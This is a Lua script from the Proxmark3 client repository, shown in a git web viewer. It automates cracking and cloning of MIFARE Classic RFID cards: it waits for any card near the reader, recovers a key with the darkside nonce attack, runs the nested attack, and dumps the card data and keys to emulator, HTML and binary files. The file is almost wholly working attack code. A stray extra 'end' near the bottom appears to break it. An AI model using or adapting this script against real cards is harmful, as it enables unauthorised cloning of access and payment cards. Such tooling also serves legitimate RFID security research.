]> git.zerfleddert.de Git - proxmark3-svn/blob - client/scripts/mifare_autopwn.lua
Fixed error with mifare_autopwn where keys were reversed, see http://www.proxmark...
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
1 local getopt = require('getopt')
2 local reader = require('read14a')
3 local cmds = require('commands')
4
5 example = "script run mifare_autopwn"
6 author = "Martin Holst Swende"
7
8
9 desc =
10 [[
11 This is a which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
13 place by the device.
14
15 Arguments:
16 -d debug logging on
17 -h this help
18
19 Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25 ]]
26
27 -------------------------------
28 -- Some utilities
29 -------------------------------
30 local DEBUG = false
31 ---
32 -- A debug printout-function
33 function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37 end
38 ---
39 -- This is only meant to be used when errors occur
40 function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43 end
44
45 ---
46 -- Usage help
47 function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51 end
52
53 ---
54 -- Waits for a mifare card to be placed within the vicinity of the reader.
55 -- @return if successfull: an table containing card info
56 -- @return if unsuccessfull : nil, error
57 function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64 end
65
66 function mfcrack()
67 core.clearCommandBuffer()
68 -- Build the mifare-command
69 local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
70
71 local retry = true
72 while retry do
73 core.SendCommand(cmd:getBytes())
74 local key, errormessage = mfcrack_inner()
75 -- Success?
76 if key then return key end
77 -- Failure?
78 if errormessage then return nil, errormessage end
79 -- Try again..set arg1 to 0 this time.
80
81 cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
82 end
83 return nil, "Aborted by user"
84 end
85
86
87 function mfcrack_inner()
88 while not core.ukbhit() do
89 local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
90 if result then
91 -- Unpacking the three arg-parameters
92 local count,cmd,isOK = bin.unpack('LL',result)
93
94 if isOK ~= 1 then return nil, "Error occurred" end
95
96
97 -- The data-part is left
98 -- Starts 32 bytes in, at byte 33
99 local data = result:sub(33)
100
101 -- A little helper
102 local get = function(num)
103 local x = data:sub(1,num)
104 data = data:sub(num+1)
105 return x
106 end
107
108 local uid,nt,pl = get(4),get(4),get(8)
109 local ks,nr = get(8),get(4)
110
111 local status, key = core.nonce2key(uid,nt, nr, pl,ks)
112 if not status then return status,key end
113
114 if status > 0 then
115 print("Key not found (lfsr_common_prefix problem)")
116 -- try again
117 return nil,nil
118 else
119 return key
120 end
121 end
122 end
123 return nil, "Aborted by user"
124 end
125
126 function nested(key)
127 local cmd = string.format("hf mf nested 1 0 A %s d",key)
128 core.console(cmd)
129 end
130
131 function dump(uid)
132 core.console("hf mf dump")
133 -- Save the global args, those are *our* arguments
134 local myargs = args
135 -- Set the arguments for htmldump script
136 args =("-o %s.html"):format(uid)
137 -- call it
138 require('../scripts/htmldump')
139
140 args =""
141 -- dump to emulator
142 require('../scripts/dumptoemul')
143 -- Set back args. Not that it's used, just for the karma...
144 args = myargs
145 end
146
147 ---
148 -- The main entry point
149 function main(args)
150
151
152 local verbose, exit,res,uid,err,_
153 local seen_uids = {}
154
155 -- Read the parameters
156 for o, a in getopt.getopt(args, 'hd') do
157 if o == "h" then help() return end
158 if o == "d" then DEBUG = true end
159 end
160
161 while not exit do
162 res, err = wait_for_mifare()
163 if err then return oops(err) end
164 -- Seen already?
165 uid = res.uid
166 if not seen_uids[uid] then
167 -- Store it
168 seen_uids[uid] = uid
169 print("Card found, commencing crack", uid)
170 -- Crack it
171 local key, cnt
172 res,err = mfcrack()
173 if not res then return oops(err) end
174 -- The key is actually 8 bytes, so a
175 -- 6-byte key is sent as 00XXXXXX
176 -- This means we unpack it as first
177 -- two bytes, then six bytes actual key data
178 -- We can discard first and second return values
179 _,_,key = bin.unpack("H2H6",res)
180 print("Key ", key)
181
182 -- Use nested attack
183 nested(key)
184 -- Dump info
185 dump(uid)
186 end
187 end
188 end
189
190 end
191 -- Call the main
192 main(args)
Impressum, Datenschutz